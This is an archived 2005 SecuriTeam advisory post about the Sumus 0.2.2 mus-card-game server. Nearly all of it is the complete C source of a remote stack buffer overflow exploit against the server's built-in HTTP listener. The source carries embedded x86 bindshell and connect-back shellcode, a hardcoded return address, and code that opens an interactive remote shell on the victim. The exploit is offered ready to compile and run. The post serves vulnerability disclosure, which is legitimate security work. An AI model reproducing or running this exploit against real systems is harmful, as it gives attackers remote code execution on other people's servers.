Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] Sumus Remote Buffer Overflow Exploit |
|---|---|
| Date: | 20 Apr 2005 11:24:00 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Sumus Remote Buffer Overflow Exploit ------------------------------------------------------------------------ SUMMARY <http://sumus.sourceforge.net/> Mus is "a Spanish (basque) cards game played by 4 players around a table. Sumus is a server for playing "mus" on Internet". A buffer overflow was found in the game Sumus that allow attacker to send an HTTP request that is longer then the expected by the program, and caused a buffer overflow that allow attackers to execute an arbitrary code. DETAILS Vulnerable Systems: * Sumus version 0.2.2 Exploit: /*[ sumus[v0.2.2]: (httpd) remote buffer overflow exploit. ]**** * * * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) * * * * compile: * * gcc xsumus.c -o xsumus * * * * syntax: * * ./xsumus [-pscrln] -h host * * * * sumus homepage/url: * * http://sumus.sourceforge.net * * * * Mus is a Spanish cards game played by 4 folks around a * * table. SUMUS is a server for playing mus over Internet. The * * project is just the server, but Java applet and Linux * * console clients are provided. * * * * SUMUS contains a remotely exploitable buffer overflow in * * the httpd portion of its server code, which runs * * automatically upon starting the SUMUS server(usually port * * 81). * * * * the overflow itself occurs on the stack, but it isn't quite * * cut and dry as normal. this overflow occurs in a while() * * byte-by-byte write loop, and the integers used in the loop * * get overwritten before it makes it to the eip/return * * address. this is best explained by viewing the code * * itself: * * * * ----------------------------------------------------------- * * char Buffer[65536] ; * * ... * * k = recv( SocketWebPendientes[ j ], Buffer, 20480, 0 ) ; * * if( k > 0 ) * * RespondeHTTPPendiente( j ) ; * * ... * * void RespondeHTTPPendiente( int Pos ) * * { * * int j ,kk ,faltan ; * * char tmpCad[100], *p1, *p2 ; * * FILE *f ; * * * * Buffer[400] = 0 ; * * p1 = strstr( Buffer, "GET" ) ; * * if( p1 == NULL ) p1 = strstr( Buffer, "Get" ) ; * * if( p1 == NULL ) p1 = strstr( Buffer, "get" ) ; * * if( p1 != NULL ) * * { * * j = 5 ; * * kk = 0 ; * * if( j < strlen(p1) ) * * while ( p1[j] != ' ' && p1[j] ) * * tmpCad[kk++] = p1[j++] ; * * tmpCad[kk] = 0 ; * * } * * ... * * ----------------------------------------------------------- * * * * as you can see this makes for a special situation. the * * best method i came up with was to format the buffer like * * so: * * [400 bytes] | [20000 bytes] * * [FILLER]["GET"][FILLER][new "kk"][ADDR] | [EGG/SHELLCODE] * * * * this way since the new "kk"/addr ends right the 400 * * boundary point, only the overwritten "kk" integer needs to * * be worried about(and not the "j" integer as well). * * * * i mainly made this because it was a moderatly different * * exploit method than the norm. figured i'd see if it could * * be done, and here we are. * * * * tested with default values(on static binary): * * + gentoo-r5 : successful. * * + mandrake9.1/default : successful. * * + mandrake9.1/secure : failed. * * + fedora core2 : successful. * ***************************************************************/ #include <stdio.h> #include <stdlib.h> #ifndef __USE_BSD #define __USE_BSD #endif #include <string.h> #include <strings.h> #include <signal.h> #include <unistd.h> #include <netdb.h> #include <getopt.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h> #define BUFSIZE 399 #define EGGSIZE 20000 #define TIMEOUT 10 #define DFL_PORT 81 #define DFL_SPORT 7979 #define DFL_RETADDR 0x0805a001 #define DFL_LOCT_KK 105 #define DFL_JUMP_KK 10 /* globals. */ static char x86_bind[]= /* bindshell, from netric. */ "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" "\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89" "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89" "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52" "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd" "\x80"; static char x86_conn[]= /* connect-back, eSDee/netric. */ "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51" "\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2" "\x31\xc0\x31\xc9\x51\x51\x68\xff\xff\xff\xff\x66\x68" "\xff\xff\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52" "\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74" "\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31" "\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2" "\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd" "\x80"; char *x86_ptr; struct{ unsigned char new_kk; signed short loct_kk; unsigned int addr; char *host; unsigned short port; unsigned short sport; }tbl; /* lonely extern. */ extern char *optarg; /* functions. */ char *getbuf(unsigned int); char *getegg(unsigned int); unsigned short sumus_connect(char *,unsigned short); void getshell(char *,unsigned short); signed int getshell_bind_init(unsigned short); signed int getshell_bind_accept(signed int); signed int getshell_conn(char *,unsigned short); void proc_shell(signed int); void printe(char *,short); void usage(char *); void sig_alarm(){printe("alarm/timeout hit.",1);} /* start. */ int main(int argc,char **argv){ unsigned char tmp_new=0; signed int chr=0,rsock=0; unsigned int bs=0; struct hostent *t; in_addr_t s=0; printf("[*] sumus[v0.2.2]: (httpd) remote buffer overflow explo" "it.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n"); tbl.port=DFL_PORT; tbl.sport=DFL_SPORT; tbl.addr=DFL_RETADDR; tbl.loct_kk=DFL_LOCT_KK; while((chr=getopt(argc,argv,"h:p:s:c:r:l:n:"))!=EOF){ switch(chr){ case 'h': if(!tbl.host&&!(tbl.host=(char *)strdup(optarg))) printe("main(): allocating memory failed",1); break; case 'p': tbl.port=atoi(optarg); break; case 's': tbl.sport=atoi(optarg); break; case 'c': if((s=inet_addr(optarg))){ if((t=gethostbyname(optarg))) memcpy((char *)&s,(char *)t->h_addr,sizeof(s)); if(s==-1)s=0; if(!s)printe("invalid host/ip. (-c option)",0); } break; case 'r': sscanf(optarg,"%x",&tbl.addr); break; case 'l': tbl.loct_kk=atoi(optarg); break; case 'n': tmp_new=atoi(optarg); break; default: usage(argv[0]); break; } } if(!tbl.host)usage(argv[0]); if(tbl.loct_kk<0||tbl.loct_kk>BUFSIZE)tbl.loct_kk=DFL_LOCT_KK; /* set bind port for shellcode. */ if(!s){ bs=strlen(x86_bind); x86_bind[20]=(tbl.sport&0xff00)>>8; x86_bind[21]=(tbl.sport&0x00ff); x86_ptr=x86_bind; } /* set connect-back ip/port for shellcode. */ else{ bs=strlen(x86_conn); x86_conn[33]=(s&0x000000ff); x86_conn[34]=(s&0x0000ff00)>>8; x86_conn[35]=(s&0x00ff0000)>>16; x86_conn[36]=(s&0xff000000)>>24; x86_conn[39]=(tbl.sport&0xff00)>>8; x86_conn[40]=(tbl.sport&0x00ff); x86_ptr=x86_conn; } if(bs!=strlen(x86_ptr)) printe("ip(-c option) and/or port(-s option) appear to contain a " "null-byte, try again.",1); tbl.new_kk=(tbl.loct_kk+(tmp_new?tmp_new:DFL_JUMP_KK)); if(!tbl.new_kk) printe("ip(-l/-n option) made the overwritten \"kk\" integer a " "null-byte.",1); printf("[*] target\t\t\t: %s:%d\n",tbl.host,tbl.port); printf("[*] shellcode type\t\t: %s(port=%d)\n", (s?"connect-back":"bindshell"),tbl.sport); printf("[*] return address($eip)\t: 0x%.8x\n",tbl.addr); printf("[*] overwritten \"kk\" int value\t: " "%u(0x%.2x)\n",tbl.new_kk,tbl.new_kk); printf("[*] overflow size\t\t: %u(tot=%u) byte(s)\n", tbl.loct_kk,BUFSIZE); printf("[*] egg size\t\t\t: %u byte(s)\n\n",EGGSIZE); if(s){ rsock=getshell_bind_init(tbl.sport); sumus_connect(tbl.host,tbl.port); rsock=getshell_bind_accept(rsock); } else{ sumus_connect(tbl.host,tbl.port); rsock=getshell_conn(tbl.host,tbl.sport); } if(rsock>0)proc_shell(rsock); exit(0); } char *getbuf(unsigned int addr){ char *buf; if(!(buf=(char *)malloc(BUFSIZE+1))) printe("getbuf(): allocating memory failed.",1); /* 0x08 helps hide the appearance of a giant string, */ /* for the server side display. */ memset(buf,0x08,BUFSIZE); memcpy(buf+(BUFSIZE-tbl.loct_kk-9),"GET",3); /* this will overwrite the "kk" integer of the sumus server. */ buf[BUFSIZE-5]=tbl.new_kk; /* the address/value used to write in the while() loop right */ /* after the "kk" integer has been overwritten/changed. */ *(long *)&buf[BUFSIZE-4]=addr; buf[BUFSIZE]='\n'; return(buf); } char *getegg(unsigned int size){ char *buf; if(!(buf=(char *)malloc(size+1))) printe("getegg(): allocating memory failed",1); memset(buf,0x90,(size-strlen(x86_ptr))); memcpy(buf+(size-strlen(x86_ptr)),x86_ptr, strlen(x86_ptr)); return(buf); } unsigned short sumus_connect(char *hostname,unsigned short port){ signed int sock; struct hostent *t; struct sockaddr_in s; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s.sin_family=AF_INET; s.sin_port=htons(port); printf("[*] attempting to connect: %s:%d.\n",hostname,port); if((s.sin_addr.s_addr=inet_addr(hostname))){ if(!(t=gethostbyname(hostname))) printe("couldn't resolve hostname.",1); memcpy((char *)&s.sin_addr,(char *)t->h_addr,sizeof(s.sin_addr)); } signal(SIGALRM,sig_alarm); alarm(TIMEOUT); if(connect(sock,(struct sockaddr *)&s,sizeof(s))) printe("sumus connection failed.",1); alarm(0); printf("[*] successfully connected: %s:%d.\n",hostname,port); printf("[*] sending string: [FILLER][\"GET\"][FILLER][new \"kk\"]" "[ADDR][EGG]\n"); sleep(1); write(sock,getbuf(tbl.addr),BUFSIZE); write(sock,getegg(EGGSIZE),EGGSIZE); sleep(1); printf("[*] closing connection.\n\n"); close(sock); return(0); } signed int getshell_bind_init(unsigned short port){ signed int ssock=0,so=1; struct sockaddr_in ssa; ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so)); #ifdef SO_REUSEPORT setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so)); #endif ssa.sin_family=AF_INET; ssa.sin_port=htons(port); ssa.sin_addr.s_addr=INADDR_ANY; if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1) printe("could not bind socket.",1); listen(ssock,1); return(ssock); } signed int getshell_bind_accept(signed int ssock){ signed int sock=0; unsigned int salen=0; struct sockaddr_in sa; memset((char*)&sa,0,sizeof(struct sockaddr_in)); salen=sizeof(sa); printf("[*] awaiting connection from: *:%d.\n",tbl.sport); alarm(TIMEOUT); sock=accept(ssock,(struct sockaddr *)&sa,&salen); alarm(0); close(ssock); printf("[*] connection established. (connect-back)\n"); return(sock); } signed int getshell_conn(char *hostname,unsigned short port){ signed int sock=0; struct hostent *he; struct sockaddr_in sa; if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) printe("getshell_conn(): socket() failed.",1); sa.sin_family=AF_INET; if((sa.sin_addr.s_addr=inet_addr(hostname))){ if(!(he=gethostbyname(hostname))) printe("getshell_conn(): couldn't resolve.",1); memcpy((char *)&sa.sin_addr,(char *)he->h_addr, sizeof(sa.sin_addr)); } sa.sin_port=htons(port); signal(SIGALRM,sig_alarm); printf("[*] attempting to connect: %s:%d.\n",hostname,port); alarm(TIMEOUT); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){ printf("[!] connection failed: %s:%d.\n",hostname,port); exit(1); } alarm(0); printf("[*] successfully connected: %s:%d.\n\n",hostname,port); return(sock); } void proc_shell(signed int sock){ signed int r=0; char buf[4096+1]; fd_set fds; signal(SIGINT,SIG_IGN); write(sock,"uname -a;id\n",13); while(1){ FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sock,&fds); if(select(sock+1,&fds,0,0,0)<1) printe("getshell(): select() failed.",1); if(FD_ISSET(0,&fds)){ if((r=read(0,buf,4096))<1) printe("getshell(): read() failed.",1); if(write(sock,buf,r)!=r) printe("getshell(): write() failed.",1); } if(FD_ISSET(sock,&fds)){ if((r=read(sock,buf,4096))<1)exit(0); write(1,buf,r); } } close(sock); return; } void printe(char *err,short e){ printf("[!] %s\n",err); if(e)exit(1); return; } void usage(char *progname){ printf("syntax: %s [-pscrln] -h host\n\n",progname); printf(" -h <host/ip>\ttarget hostname/ip.\n"); printf(" -p <port>\ttarget port.\n"); printf(" -s <port>\tconnect-back/bind port. (shellcode)\n"); printf(" -c <host/ip>\tconnect-back host/ip. (enables " "connect-back)\n"); printf(" -r <addr>\tdefine return address. (0x%.8x)\n",tbl.addr); printf(" -l <value>\tdistance from the start pointer. (\"GET\")\n"); printf(" -n <offset>\tadds to the overwritten \"kk\" integer.\n\n"); exit(0); } /* EOF */ ADDITIONAL INFORMATION The information has been provided by <mailto:v9@fakehalo.deadpig.org> Vade 79. You can download the original exploit from: <http://fakehalo.us/xsumus.c> http://fakehalo.us/xsumus.c ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NT] Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS), SecuriTeam |
|---|---|
| Next by Date: | [NT] DUPortal Pro SQL Injection, SecuriTeam |
| Previous by Thread: | [NT] Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS), SecuriTeam |
| Next by Thread: | [NT] DUPortal Pro SQL Injection, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |